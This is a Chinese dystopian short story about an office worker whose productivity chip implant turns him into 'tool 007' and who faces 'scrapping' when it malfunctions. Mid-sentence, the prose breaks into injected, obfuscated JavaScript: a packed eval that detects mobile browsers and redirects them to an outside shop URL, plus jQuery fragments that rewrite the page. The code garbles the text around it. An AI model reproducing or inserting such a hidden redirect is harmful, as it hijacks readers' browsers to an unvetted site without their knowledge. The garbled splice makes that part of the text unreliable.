城市的脉搏在凌晨三点半微弱地搏动。李伟站在自己家狭小的阳台上，指尖夹着一支没点燃的烟，望着远处写字楼群尚未完全熄灭的零星灯火。那些光点像是嵌在巨大黑色兽类脊背上的诡异眼睛，疲倦，却不肯合上。他喉咙发干，舌根残留着金属和消毒水混合的涩味——那是上周“增效计划”植入手术后的后遗症，公司医疗部说很快就会消失。
永不疲惫。
芯片的名字简单粗暴，贴在行政部下发的《“超级员工”潜能激发计划自愿申请表》最上方，每个字都闪烁着合规且充满诱惑的光泽。自愿。李伟当时盯着那两个字看了很久，直到视线模糊。房贷还款提醒、孩子下学期的兴趣班费用、父亲体检报告上几个需要复查的指标……这些冰冷的数字在他脑海里滚动，最终压垮了那点微不足道的、关于“自愿”的疑虑。他在电子签名栏按下了指纹。
现在，那枚米粒大小的芯片就在他后颈皮肤下，微微发热，像一枚埋进血肉的冰冷图钉。它确实有效。这一周，他睡了不到十五个小时，却精神奕奕，头脑清醒得像被冰水洗过。每天处理的数据量是过去的五倍，方案书写得又快又精准，会议上的发言连他自己都感到陌生而高效。老板拍着他的肩膀，称他为“人形自走生产力”，眼里是毫不掩饰的、看待顶级资产的欣赏。同事们投来的目光复杂，羡慕里掺杂着不易察觉的恐惧，以及一种悄然拉开的距离。
他成了工具，编号007。行政部最新下发的内部通讯录里，他的名字后面已经加上了这个前缀。高效，稳定，无需额外激励。这是理想中的员工，或者说，理想中的生产设备。
身后传来窸窣的响动，妻子王琳轻轻走到阳台门边，手里拿着他的薄外套。她眼圈下有浓重的青黑，这一周，她显然没睡好。
“还不进来？有点凉了。”她的声音很轻，带着试探。
李伟接过外套，披上。“嗯，抽完这支就进。”他依然没有点燃那支烟，只是捏着。芯片似乎抑制了他对尼古丁的渴望，连同许多其他欲望一起，变得平淡。
王琳看着他，嘴唇动了动，最终只是说：“昨天……妈又打电话问，能不能周末带童童回去吃饭。我说，得看你加班情况。”她停顿了一下，“李伟，你……真的没事吗？你看着不累，可我总觉得……”她找不到合适的词，手无意识地攥紧了睡衣的衣角。
“没事。”李伟打断她，声音平稳得出奇，连他自己都感到一丝异样，“芯片调节着生理状态，疲劳感被屏蔽了。这是正常效果。”他转过身，试图扯出一个惯常的、让她安心的笑容，但面部肌肉有些僵硬，“效率高是好事，等项目奖金下来，童童那个编程班就能报上了。”
王琳没再说话，只是看着他，眼神里的忧虑像一层擦不掉的灰霾。她最终点了点头，退回屋内，轻轻带上了阳台门。
李伟仰起头，深深吸了一口并不清新的夜风。后颈的芯片持续散发着恒定的微热。他想起白天在茶水间，无意中听到两个同事压低声音的交谈。“……研发部那个赵工，前天被送走了，说是‘参数调整’……回来以后，整个人都木了……”
“参数调整”。又一个公司术语。他当时端着空咖啡杯，脚步未停，像什么都没听见一样走了过去。心脏却在那一瞬间，漏跳了半拍，随即被芯片稳定下来的心率覆盖。
他抬起手腕，内置了公司系统的智能表盘幽幽亮起，淡蓝色的光映着他缺乏睡眠却毫无倦容的脸。屏幕上清晰地显示着：
工具编号：007
状态：在线 (效能峰值)
今日工时：19小时42分钟
下一个任务节点：04:30，数据中心，常规维护自检。
距离下一个节点，还有五十七分钟。足够他回家，在专用充电椅上补充十五分钟生物电，然后出发。他的“休息”，已经被精确规划成这种高效的、插电式的能量补充。家，越来越像个提供充电接口的中转站。
掐灭了根本没点燃的烟，李伟转身回屋。客厅的充电椅发出低低的嗡鸣，幽蓝色的指示灯在昏暗里像一只等待的眼睛。他熟练地坐下，后颈准确抵上接口，轻微的吸附感传来，伴随着细微电流通过的酥麻。他闭上眼睛，并非睡眠，而是一种清醒的待机。意识漂浮着，能听到卧室里妻子翻身的轻响，听到远处夜归车辆的呼啸，也能“听”到芯片内部数据流平稳运行的、无声的嗡响。
他是工具007。高效，稳定，在线。
第二天，一切如常。不，是比常更高一层的“超常”。李伟在早高峰前就坐进了办公室，处理完了全天计划任务的百分之七十。键盘敲击声密集如雨，屏幕上的窗口打开、关闭、数据流奔腾不息。他甚至有时间优化了两个原本下周才需要提交的自动化脚本。上午的部门会议，他发言逻辑缜密，指出了两个潜在的风险点，项目经理频频点头，记录员的手指在平板电脑上飞舞。
午休时间？那已经是效率手册上被划掉的概念。李伟去楼下的“高效能量补给站”（取代了原来的员工食堂）领取了一份营养膏剂，站在落地窗前，一边缓慢吞咽着那口感滑腻、味道恒定的糊状物，一边俯瞰着脚下蝼蚁般的车流。阳光有些刺眼，但他瞳孔自动调节了进光量，视野清晰稳定。
下午，临时插入一个跨部门协调会议。市场部和研发部为某个接口标准争执不下，会议陷入僵局。李伟调出历史数据、相关协议文档、以及双方过往的邮件往来，在三分钟内梳理出关键矛盾点和三条可行的折中路径。当他用那种平稳无波、却自带说服力的语调陈述完毕时，会议室安静了几秒。主持会议的总监率先鼓起掌来。
“看看！这就是超级员工的典范！007，干得漂亮！”总监的笑容热烈，“大家都要学习这种纯粹以解决问题为导向的工作思路！”
李伟微微颔首，接受赞誉。他注意到对面研发部的一位资深工程师，看他的眼神有些古怪，那不是欣赏或嫉妒，更像是一种……物伤其类的悲哀？但那眼神一闪即逝，很快被公式化的微笑掩盖。
傍晚六点，常规下班时间。办公室开始骚动，人们收拾东西，低声交谈，酝酿着离开的气氛。李伟的日程表上，还有三个待办项亮着灯。他活动了一下手指，准备继续。
就在这时，后颈的芯片，突兀地传来一下极其轻微，但绝不容忽视的颤动。
像是一根极细的针，在神经束的中央轻轻扎了一记。
李伟的动作顿住了。眼前的数据流似乎闪烁了零点一秒，视网膜上掠过一串无法识别的乱码字符，快得像是幻觉。耳边响起一声尖锐到几乎要撕裂耳膜的、极高频率的嗡鸣，但转瞬即逝，周围同事的谈笑声重新清晰起来。
异常？不，芯片状态指示灯在他视野右下角（只有他自己能看见）依然显示稳定的绿色。自检程序瞬间启动，反馈结果：一切正常。或许是瞬时数据过载？他处理的信息量确实庞大。
他没有声张，只是更加专注地投入到下一项任务中，试图用更高强度的数据处理覆盖掉那一瞬的不安。手指敲击键盘的速度更快了，屏幕上的代码行如瀑布般刷新。
晚上八点，他完成了当日所有计划任务，甚至超额预习了明日的一部分。办公室早已空无一人，灯光自动调节到夜间节能模式，一片冷白。该回家了，或者，按照最新的“建议”，可以去楼下的“员工休憩优化舱”进行九十分钟的深度机能恢复，那样明天凌晨可以提前两小时到岗，处理跨国会议的前置工作。
他关掉电脑，站起身。颈椎传来轻微的、不同于往常的滞涩感。不是疼痛，更像是……某个关节少了润滑油。他皱皱眉，芯片没有给出健康警报。
走出冰冷的写字楼，夜风裹挟着城市的废气和尘埃扑面而来。李伟走向地铁站，步履依旧稳定，频率精准得像节拍器。地铁车厢里人不多，他习惯性地站立，手拉着吊环，目光没有焦点地落在对面玻璃窗上自己的倒影。脸色正常，眼神……有些过于明亮，缺乏温度。
倒影里，他看见自己后颈的皮肤下，似乎有极其微弱的、淡蓝色的光晕一闪而过。他猛地眨眼，再看时，只有苍白肤色和衣领的阴影。
又是错觉？
回到家，已近十点。王琳和女儿童童应该已经睡了。客厅里留着一盏小灯，充电椅安静地立在角落。他没有立刻坐上去，而是走到童童的卧室门口，轻轻推开一条缝。
女儿蜷缩在小床上，怀里抱着他上周出差回来买的、已经有些旧的毛绒兔子，睡得正熟。台灯还没关，暖黄的光晕洒在她稚嫩的脸上。床边摊开放着一本图画书，是她最近最喜欢的、关于星空和宇宙飞船的故事。
李伟站在门口，静静看了几分钟。一种很淡的、近乎陌生的情绪，像深水下的气泡，试图浮上心头。那是……柔软？芯片似乎侦测到了心率微小的起伏，一股温和的抑制电流悄然弥漫，那点情绪尚未成型，便已消散。
他轻轻带上门，走向充电椅。
坐下的瞬间，后颈的接口自动吸附。熟悉的电流酥麻感传来，开始补充今天消耗的生物电能。但今天似乎有些不同，电流的脉动……不那么平稳，偶尔有极其细微的顿挫，像是接触不良。视野角落的状态指示，绿色轻微地、不规则地明暗闪烁了几下。
李伟的呼吸停滞了一瞬。他尝试调用芯片的自检模块。
自检中……
基础功能模块：正常。
效能维持模块：正常。
生理调节模块：正常。
高级神经协同接口：……校验中……
警告：检测到未记录的非同步波动。正在分析……
波动？什么波动？
他集中精神，试图捕捉那一闪即逝的“波动”信息，但自检程序已经跳了过去，最终显示：
分析完毕。判定为环境电磁干扰。已屏蔽。状态：最优。
最优。
李伟靠在椅背上，幽蓝的充电光映着他闭合的眼睑。真的只是干扰吗？那一闪而过的乱码，那尖锐的嗡鸣，颈部的滞涩，还有刚才电流的顿挫……
困意，一种久违的、源自生物本能而非系统提示的困意，竟然在这一刻，极其细微地漫了上来。像遥远的潮汐，试图涌上被水泥加固的堤岸。他感到眼皮有些沉重。
这不对。芯片应该完全屏蔽不必要的睡眠需求。
他命令自己清醒，集中注意力。困意退潮般消失，仿佛从未出现。
一切似乎又恢复了“正常”。高效的、精准的、永不疲惫的正常。
第二天，他如同精密仪器，在凌晨五点四十分准时抵达公司大楼。比“建议”的提前两小时还早了二十分钟。门口的智能闸机识别了他的工牌（
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070465|195199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上面已印有“007”标识）和生物信息，无声滑开。
他走向自己的工位，步伐稳定。大楼里空旷寂静，只有清洁机器人在远处发出低低的运转声。他喜欢这种绝对的安静，适合处理最复杂的逻辑难题。
然而，就在他穿过开放式办公区，距离自己座位还有十几米的时候——
“滴——呜——！！滴——呜——！！！”
尖锐、高亢、穿透力极强的警报声，毫无征兆地，炸响了整个楼层！红色的警示灯疯狂旋转闪烁，将整个办公区笼罩在一片令人心悸的绯红之中！
李伟猛地站住，浑身的肌肉在一瞬间绷紧。什么情况？火警？安全漏洞？
但下一秒，他听清了伴随警报循环播放的、冰冷僵硬的电子合成语音：
“警告！工具编号007，发生异常！警告！工具编号007，发生异常！定位：A区三层开放办公区。请立即处置！请立即处置！”
工具编号007。
异常。
那声音像冰锥，狠狠凿进他的耳膜，刺穿他高效运转了一周的大脑。
他站在原地，动弹不得。看着红色灯光在自己身上、脸上切割明暗。警报声持续尖叫，像无数把锉刀，刮擦着他的神经。周围依旧空旷，但直觉告诉他，有许多双眼睛，正通过无处不在的监控摄像头，静静地、审视地看着这里，看着“发生异常”的007。
脚步声，从走廊另一端传来。不疾不徐，皮鞋敲击大理石地面的声音，清晰而规律。
人事部的周经理，脸上带着他惯有的、那种经过精确计算的、既不过分亲热也不显疏离的职业化微笑，走了过来。他手里拿着一份熟悉的文件夹，封皮是深蓝色的，印着公司的徽标和“超级员工增效计划——专用合同附件”的字样。
他在李伟面前一米处站定，仿佛那刺耳的警报和闪烁的红光只是无关紧要的背景音乐。他甚至微微调整了一下领带结，然后，用那种谈论天气般平和的语调，开口了：
“李工，早啊。看来系统监测到一点小问题。”他扬了扬手里的文件夹，笑容加深了些，眼底却没有任何温度，“根据我们签订的《增效计划补充协议》第七款第三项，‘为确保资产效能与安全，当植入体工具出现无法即时修复的异常波动或效能不稳定时，甲方（即公司）有权启动标准化回收评估流程’。哦，简单说，就是……”
他略作停顿，似乎是在欣赏李伟僵硬的表情，然后清晰而缓慢地吐出后续的字眼：
“……故障工具，应当进入报废评估程序。”
报废。评估。
这两个词像两记重锤，砸在李伟早已被芯片规训得近乎麻木的感知上，却激起了前所未有的、冰彻骨髓的战栗。他张了张嘴，喉咙干涩，芯片似乎干扰了他的发声模块，一时竟没能发出声音。
周经理耐心地等着，脸上的笑容一丝未变，仿佛面前站着的不是一个刚刚还被称作“人形自走生产力”的员工，而真的只是一台出了点小毛病、等待送修的办公设备。
几秒的死寂，只有警报还在不知疲倦地嘶吼。李伟感觉到后颈芯片的位置，传来一阵阵越来越明显、越来越无法忽视的灼痛和紊乱的脉冲，与那疯狂闪烁的红色警报灯同步搏动，撕扯着他的神经。
就在周经理似乎准备示意身后的保安人员上前时，李伟猛地动了。
他的动作有些滞涩，不如往常流畅，但却带着一种决绝的力度。他抬起手，不是去攻击，也不是去争辩，而是伸向自己的后颈——那个连接着他与“超级员工”身份、与这“永不疲惫”的诅咒的物理接口。
指尖触到了微微凸起的皮肤和冰冷的微型接口。他猛地一扯！
“嗞——”
一声轻微的电流爆音。连接着充电接口（他昨晚忘记取下便携维持器）的数据线被硬生生扯断，接口处迸出几星细微的电火花。维持器从后颈脱落，吊在半截断线上，晃荡着。
几乎同时，那疯狂鸣响的、针对“工具编号007”的尖锐警报声，戛然而止。旋转的红灯也停止了闪烁，恢复了平常照明模式。突如其来的寂静，沉甸甸地压下来，比刚才的喧嚣更令人窒息。
周经理脸上的微笑第一次出现了裂痕，化作一丝错愕，随即是更深的冰冷。
李伟喘着气，并非因为体力消耗，而是某种精神上的、挣脱了部分桎梏的应激反应。扯断的线头垂在身侧，后颈传来火辣辣的刺痛和一种奇异的、空落落的失控感。一部分维持芯片高效运转的外部能量供应被切断了，他感到一阵虚弱的晕眩袭来，视野边缘开始发黑，但与此同时，一种更加原始、更加鲜活的感知——疼痛、恐惧、还有汹涌的愤怒——却如同解冻的冰河，轰然冲撞着他的意识堤防。
他看着周经理，看着对方手里那份深蓝色的、决定他“报废”命运的合同附件。
然后，他听到了自己的声音，沙哑、干裂，却异常清晰，每一个字都像是从牙缝里挤出来，砸在刚刚恢复寂静的空气里：
“在你们启动所谓的‘报废评估’之前——”
他抬起手，指了指周经理手中的文件夹，又缓缓指向自己，指向这个刚刚被系统判定为“异常”、被宣判为“故障工具”的躯体与人生。
“——我能不能，先看看我自己的‘使用说明书’？”